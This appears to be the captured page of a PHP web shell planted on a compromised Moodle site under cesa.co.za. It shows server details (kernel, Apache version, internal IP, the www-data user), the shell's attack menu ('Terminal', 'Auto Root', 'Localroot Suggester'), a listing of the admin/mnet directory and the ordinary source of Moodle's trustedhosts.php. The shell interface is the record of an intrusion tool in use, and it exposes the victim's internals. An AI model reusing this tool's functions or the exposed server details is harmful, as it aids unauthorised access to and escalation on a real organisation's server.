Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
admin /
mnet /
Delete
Unzip
Name
Size
Permission
Date
Action
access_control.php
8.64
KB
-rw-r--r--
2017-06-22 14:51
delete.php
2.22
KB
-rw-r--r--
2017-06-22 14:51
index.php
5.03
KB
-rw-r--r--
2017-06-22 14:51
peer_forms.php
8.44
KB
-rw-r--r--
2017-06-22 14:51
peers.php
10.35
KB
-rw-r--r--
2017-06-22 14:51
profilefields.php
3.19
KB
-rw-r--r--
2017-06-22 14:51
profilefields_form.php
2.82
KB
-rw-r--r--
2017-06-22 14:51
services.php
3.46
KB
-rw-r--r--
2017-06-22 14:51
services_form.php
3.01
KB
-rw-r--r--
2017-06-22 14:51
tabs.php
1.93
KB
-rw-r--r--
2017-06-22 14:51
testclient.php
7.72
KB
-rw-r--r--
2017-06-22 14:51
trustedhosts.html
2.21
KB
-rw-r--r--
2017-06-22 14:51
trustedhosts.php
2.12
KB
-rw-r--r--
2017-06-22 14:51
Save
Rename
<?php // Allows the admin to configure services for remote hosts require(__DIR__.'/../../config.php'); require_once($CFG->libdir.'/adminlib.php'); include_once($CFG->dirroot.'/mnet/lib.php'); require_login(); admin_externalpage_setup('trustedhosts'); $context = context_system::instance(); require_capability('moodle/site:config', $context, $USER->id, true, "nopermissions"); if (!extension_loaded('openssl')) { echo $OUTPUT->header(); print_error('requiresopenssl', 'mnet', '', NULL, true); } $site = get_site(); $trusted_hosts = '';//array(); $old_trusted_hosts = get_config('mnet', 'mnet_trusted_hosts'); if (!empty($old_trusted_hosts)) { $old_trusted_hosts = explode(',', $old_trusted_hosts); } else { $old_trusted_hosts = array(); } $test_ip_address = optional_param('testipaddress', NULL, PARAM_HOST); $in_range = false; if (!empty($test_ip_address)) { foreach($old_trusted_hosts as $host) { if (address_in_subnet($test_ip_address, $host)) { $in_range = true; $validated_by = $host; break; } } } /// If data submitted, process and store if (($form = data_submitted()) && confirm_sesskey()) { $hostlist = preg_split("/[\s,]+/", $form->hostlist); foreach($hostlist as $host) { list($address, $mask) = explode('/', $host.'/'); if (empty($address)) continue; if (strlen($mask) == 0) $mask = 32; $trusted_hosts .= trim($address).'/'.trim($mask)."\n"; unset($address, $mask); } set_config('mnet_trusted_hosts', str_replace("\n", ',', $trusted_hosts), 'mnet'); } elseif (!empty($old_trusted_hosts)) { foreach($old_trusted_hosts as $host) { list($address, $mask) = explode('/', $host.'/'); if (empty($address)) continue; if (strlen($mask) == 0) $mask = 32; $trusted_hosts .= trim($address).'/'.trim($mask)."\n"; unset($address, $mask); } } include('./trustedhosts.html');